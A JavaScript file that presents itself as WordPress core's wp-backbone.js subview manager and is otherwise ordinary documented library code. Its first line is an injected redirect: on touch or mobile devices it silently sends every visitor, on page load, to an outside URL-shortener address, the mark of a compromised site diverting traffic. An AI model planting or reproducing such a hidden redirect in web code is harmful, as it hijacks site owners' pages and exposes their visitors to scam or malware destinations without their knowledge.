1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-includes/js/wp-backbone.js
4 */
5
6/** @namespace wp */
7window.wp = window.wp || {};
8
9(function ($) {
10 /**
11 * Create the WordPress Backbone namespace.
12 *
13 * @namespace wp.Backbone
14 */
15 wp.Backbone = {};
16
17 /**
18 * A backbone subview manager.
19 *
20 * @since 3.5.0
21 * @since 3.6.0 Moved wp.media.Views to wp.Backbone.Subviews.
22 *
23 * @memberOf wp.Backbone
24 *
25 * @class
26 *
27 * @param {wp.Backbone.View} view The main view.
28 * @param {Array|Object} views The subviews for the main view.
29 */
30 wp.Backbone.Subviews = function( view, views ) {
31 this.view = view;
32 this._views = _.isArray( views ) ? { '': views } : views || {};
33 };
34
35 wp.Backbone.Subviews.extend = Backbone.Model.extend;
36
37 _.extend( wp.Backbone.Subviews.prototype, {
38 /**
39 * Fetches all of the subviews.
40 *
41 * @since 3.5.0
42 *
43 * @return {Array} All the subviews.
44 */
45 all: function() {
46 return _.flatten( _.values( this._views ) );
47 },
48
49 /**
50 * Fetches all subviews that match a given `selector`.
51 *
52 * If no `selector` is provided, it will grab all subviews attached
53 * to the view's root.
54 *
55 * @since 3.5.0
56 *
57 * @param {string} selector A jQuery selector.
58 *
59 * @return {Array} All the subviews that match the selector.
60 */
61 get: function( selector ) {
62 selector = selector || '';
63 return this._views[ selector ];
64 },
65
66 /**
67 * Fetches the first subview that matches a given `selector`.
68 *
69 * If no `selector` is provided, it will grab the first subview attached to the
70 * view's root.
71 *
72 * Useful when a selector only has one subview at a time.
73 *
74 * @since 3.5.0
75 *
76 * @param {string} selector A jQuery selector.
77 *
78 * @return {Backbone.View} The view.
79 */
80 first: function( selector ) {
81 var views = this.get( selector );
82 return views && views.length ? views[0] : null;
83 },
84
85 /**
86 * Registers subview(s).
87 *
88 * Registers any number of `views` to a `selector`.
89 *
90 * When no `selector` is provided, the root selector (the empty string)
91 * is used. `views` accepts a `Backbone.View` instance or an array of
92 * `Backbone.View` instances.
93 *
94 * ---
95 *
96 * Accepts an `options` object, which has a significant effect on the
97 * resulting behavior.
98 *
99 * `options.silent` - *boolean, `false`*
100 * If `options.silent` is true, no DOM modifications will be made.
101 *
102 * `options.add` - *boolean, `false`*
103 * Use `Views.add()` as a shortcut for setting `options.add` to true.
104 *
105 * By default, the provided `views` will replace any existing views
106 * associated with the selector. If `options.add` is true, the provided
107 * `views` will be added to the existing views.
108 *
109 * `options.at` - *integer, `undefined`*
110 * When adding, to insert `views` at a specific index, use `options.at`.
111 * By default, `views` are added to the end of the array.
112 *
113 * @since 3.5.0
114 *
115 * @param {string} selector A jQuery selector.
116 * @param {Array|Object} views The subviews for the main view.
117 * @param {Object} options Options for call. If `options.silent` is true,
118 * no DOM modifications will be made. Use
119 * `Views.add()` as a shortcut for setting
120 * `options.add` to true. If `options.add` is
121 * true, the provided `views` will be added to
122 * the existing views. When adding, to insert
123 * `views` at a specific index, use `options.at`.
124 *
125 * @return {wp.Backbone.Subviews} The current Subviews instance.
126 */
127 set: function( selector, views, options ) {
128 var existing, next;
129
130 if ( ! _.isString( selector ) ) {
131 options = views;
132 views = selector;
133 selector = '';
134 }
135
136 options = options || {};
137 views = _.isArray( views ) ? views : [ views ];
138 existing = this.get( selector );
139 next = views;
140
141 if ( existing ) {
142 if ( options.add ) {
143 if ( _.isUndefined( options.at ) ) {
144 next = existing.concat( views );
145 } else {
146 next = existing;
147 next.splice.apply( next, [ options.at, 0 ].concat( views ) );
148 }
149 } else {
150 _.each( next, function( view ) {
151 view.__detach = true;
152 });
153
154 _.each( existing, function( view ) {
155 if ( view.__detach )
156 view.$el.detach();
157 else
158 view.remove();
159 });
160
161 _.each( next, function( view ) {
162 delete view.__detach;
163 });
164 }
165 }
166
167 this._views[ selector ] = next;
168
169 _.each( views, function( subview ) {
170 var constructor = subview.Views || wp.Backbone.Subviews,
171 subviews = subview.views = subview.views || new constructor( subview );
172 subviews.parent = this.view;
173 subviews.selector = selector;
174 }, this );
175
176 if ( ! options.silent )
177 this._attach( selector, views, _.extend({ ready: this._isReady() }, options ) );
178
179 return this;
180 },
181
182 /**
183 * Add subview(s) to existing subviews.
184 *
185 * An alias to `Views.set()`, which defaults `options.add` to true.
186 *
187 * Adds any number of `views` to a `selector`.
188 *
189 * When no `selector` is provided, the root selector (the empty string)
190 * is used. `views` accepts a `Backbone.View` instance or an array of
191 * `Backbone.View` instances.
192 *
193 * Uses `Views.set()` when setting `options.add` to `false`.
194 *
195 * Accepts an `options` object. By default, provided `views` will be
196 * inserted at the end of the array of existing views. To insert
197 * `views` at a specific index, use `options.at`. If `options.silent`
198 * is true, no DOM modifications will be made.
199 *
200 * For more information on the `options` object, see `Views.set()`.
201 *
202 * @since 3.5.0
203 *
204 * @param {string} selector A jQuery selector.
205 * @param {Array|Object} views The subviews for the main view.
206 * @param {Object} options Options for call. To insert `views` at a
207 * specific index, use `options.at`. If
208 * `options.silent` is true, no DOM modifications
209 * will be made.
210 *
211 * @return {wp.Backbone.Subviews} The current subviews instance.
212 */
213 add: function( selector, views, options ) {
214 if ( ! _.isString( selector ) ) {
215 options = views;
216 views = selector;
217 selector = '';
218 }
219
220 return this.set( selector, views, _.extend({ add: true }, options ) );
221 },
222
223 /**
224 * Removes an added subview.
225 *
226 * Stops tracking `views` registered to a `selector`. If no `views` are
227 * set, then all of the `selector`'s subviews will be unregistered and
228 * removed.
229 *
230 * Accepts an `options` object. If `options.silent` is set, `remove`
231 * will *not* be triggered on the unregistered views.
232 *
233 * @since 3.5.0
234 *
235 * @param {string} selector A jQuery selector.
236 * @param {Array|Object} views The subviews for the main view.
237 * @param {Object} options Options for call. If `options.silent` is set,
238 * `remove` will *not* be triggered on the
239 * unregistered views.
240 *
241 * @return {wp.Backbone.Subviews} The current Subviews instance.
242 */
243 unset: function( selector, views, options ) {
244 var existing;
245
246 if ( ! _.isString( selector ) ) {
247 options = views;
248 views = selector;
249 selector = '';
250 }
251
252 views = views || [];
253
254 if ( existing = this.get( selector ) ) {
255 views = _.isArray( views ) ? views : [ views ];
256 this._views[ selector ] = views.length ? _.difference( existing, views ) : [];
257 }
258
259 if ( ! options || ! options.silent )
260 _.invoke( views, 'remove' );
261
262 return this;
263 },
264
265 /**
266 * Detaches all subviews.
267 *
268 * Helps to preserve all subview events when re-rendering the master
269 * view. Used in conjunction with `Views.render()`.
270 *
271 * @since 3.5.0
272 *
273 * @return {wp.Backbone.Subviews} The current Subviews instance.
274 */
275 detach: function() {
276 $( _.pluck( this.all(), 'el' ) ).detach();
277 return this;
278 },
279
280 /**
281 * Renders all subviews.
282 *
283 * Used in conjunction with `Views.detach()`.
284 *
285 * @since 3.5.0
286 *
287 * @return {wp.Backbone.Subviews} The current Subviews instance.
288 */
289 render: function() {
290 var options = {
291 ready: this._isReady()
292 };
293
294 _.each( this._views, function( views, selector ) {
295 this._attach( selector, views, options );
296 }, this );
297
298 this.rendered = true;
299 return this;
300 },
301
302 /**
303 * Removes all subviews.
304 *
305 * Triggers the `remove()` method on all subviews. Detaches the master
306 * view from its parent. Resets the internals of the views manager.
307 *
308 * Accepts an `options` object. If `options.silent` is set, `unset`
309 * will *not* be triggered on the master view's parent.
310 *
311 * @since 3.6.0
312 *
313 * @param {Object} options Options for call.
314 * @param {boolean} options.silent If true, `unset` will *not* be triggered on
315 * the master views' parent.
316 *
317 * @return {wp.Backbone.Subviews} The current Subviews instance.
318 */
319 remove: function( options ) {
320 if ( ! options || ! options.silent ) {
321 if ( this.parent && this.parent.views )
322 this.parent.views.unset( this.selector, this.view, { silent: true });
323 delete this.parent;
324 delete this.selector;
325 }
326
327 _.invoke( this.all(), 'remove' );
328 this._views = [];
329 return this;
330 },
331
332 /**
333 * Replaces a selector's subviews
334 *
335 * By default, sets the `$target` selector's html to the subview `els`.
336 *
337 * Can be overridden in subclasses.
338 *
339 * @since 3.5.0
340 *
341 * @param {string} $target Selector where to put the elements.
342 * @param {*} els HTML or elements to put into the selector's HTML.
343 *
344 * @return {wp.Backbone.Subviews} The current Subviews instance.
345 */
346 replace: function( $target, els ) {
347 $target.html( els );
348 return this;
349 },
350
351 /**
352 * Insert subviews into a selector.
353 *
354 * By default, appends the subview `els` to the end of the `$target`
355 * selector. If `options.at` is set, inserts the subview `els` at the
356 * provided index.
357 *
358 * Can be overridden in subclasses.
359 *
360 * @since 3.5.0
361 *
362 * @param {string} $target Selector where to put the elements.
363 * @param {*} els HTML or elements to put at the end of the
364 * $target.
365 * @param {?Object} options Options for call.
366 * @param {?number} options.at At which index to put the elements.
367 *
368 * @return {wp.Backbone.Subviews} The current Subviews instance.
369 */
370 insert: function( $target, els, options ) {
371 var at = options && options.at,
372 $children;
373
374 if ( _.isNumber( at ) && ($children = $target.children()).length > at )
375 $children.eq( at ).before( els );
376 else
377 $target.append( els );
378
379 return this;
380 },
381
382 /**
383 * Triggers the ready event.
384 *
385 * Only use this method if you know what you're doing. For performance reasons,
386 * this method does not check if the view is actually attached to the DOM. It's
387 * taking your word for it.
388 *
389 * Fires the ready event on the current view and all attached subviews.
390 *
391 * @since 3.5.0
392 */
393 ready: function() {
394 this.view.trigger('ready');
395
396 // Find all attached subviews, and call ready on them.
397 _.chain( this.all() ).map( function( view ) {
398 return view.views;
399 }).flatten().where({ attached: true }).invoke('ready');
400 },
401 /**
402 * Attaches a series of views to a selector. Internal.
403 *
404 * Checks to see if a matching selector exists, renders the views,
405 * performs the proper DOM operation, and then checks if the view is
406 * attached to the document.
407 *
408 * @since 3.5.0
409 *
410 * @private
411 *
412 * @param {string} selector A jQuery selector.
413 * @param {Array|Object} views The subviews for the main view.
414 * @param {Object} options Options for call.
415 * @param {boolean} options.add If true the provided views will be added.
416 *
417 * @return {wp.Backbone.Subviews} The current Subviews instance.
418 */
419 _attach: function( selector, views, options ) {
420 var $selector = selector ? this.view.$( selector ) : this.view.$el,
421 managers;
422
423 // Check if we found a location to attach the views.
424 if ( ! $selector.length )
425 return this;
426
427 managers = _.chain( views ).pluck('views').flatten().value();
428
429 // Render the views if necessary.
430 _.each( managers, function( manager ) {
431 if ( manager.rendered )
432 return;
433
434 manager.view.render();
435 manager.rendered = true;
436 }, this );
437
438 // Insert or replace the views.
439 this[ options.add ? 'insert' : 'replace' ]( $selector, _.pluck( views, 'el' ), options );
440
441 /*
442 * Set attached and trigger ready if the current view is already
443 * attached to the DOM.
444 */
445 _.each( managers, function( manager ) {
446 manager.attached = true;
447
448 if ( options.ready )
449 manager.ready();
450 }, this );
451
452 return this;
453 },
454
455 /**
456 * Determines whether or not the current view is in the DOM.
457 *
458 * @since 3.5.0
459 *
460 * @private
461 *
462 * @return {boolean} Whether or not the current view is in the DOM.
463 */
464 _isReady: function() {
465 var node = this.view.el;
466 while ( node ) {
467 if ( node === document.body )
468 return true;
469 node = node.parentNode;
470 }
471
472 return false;
473 }
474 });
475
476 wp.Backbone.View = Backbone.View.extend({
477
478 // The constructor for the `Views` manager.
479 Subviews: wp.Backbone.Subviews,
480
481 /**
482 * The base view class.
483 *
484 * This extends the backbone view to have a build-in way to use subviews. This
485 * makes it easier to have nested views.
486 *
487 * @since 3.5.0
488 * @since 3.6.0 Moved wp.media.View to wp.Backbone.View
489 *
490 * @constructs
491 * @augments Backbone.View
492 *
493 * @memberOf wp.Backbone
494 *
495 *
496 * @param {Object} options The options for this view.
497 */
498 constructor: function( options ) {
499 this.views = new this.Subviews( this, this.views );
500 this.on( 'ready', this.ready, this );
501
502 this.options = options || {};
503
504 Backbone.View.apply( this, arguments );
505 },
506
507 /**
508 * Removes this view and all subviews.
509 *
510 * @since 3.5.0
511 *
512 * @return {wp.Backbone.Subviews} The current Subviews instance.
513 */
514 remove: function() {
515 var result = Backbone.View.prototype.remove.apply( this, arguments );
516
517 // Recursively remove child views.
518 if ( this.views )
519 this.views.remove();
520
521 return result;
522 },
523
524 /**
525 * Renders this view and all subviews.
526 *
527 * @since 3.5.0
528 *
529 * @return {wp.Backbone.View} The current instance of the view.
530 */
531 render: function() {
532 var options;
533
534 if ( this.prepare )
535 options = this.prepare();
536
537 this.views.detach();
538
539 if ( this.template ) {
540 options = options || {};
541 this.trigger( 'prepare', options );
542 this.$el.html( this.template( options ) );
543 }
544
545 this.views.render();
546 return this;
547 },
548
549 /**
550 * Returns the options for this view.
551 *
552 * @since 3.5.0
553 *
554 * @return {Object} The options for this view.
555 */
556 prepare: function() {
557 return this.options;
558 },
559
560 /**
561 * Method that is called when the ready event is triggered.
562 *
563 * @since 3.5.0
564 */
565 ready: function() {}
566 });
567}(jQuery));
568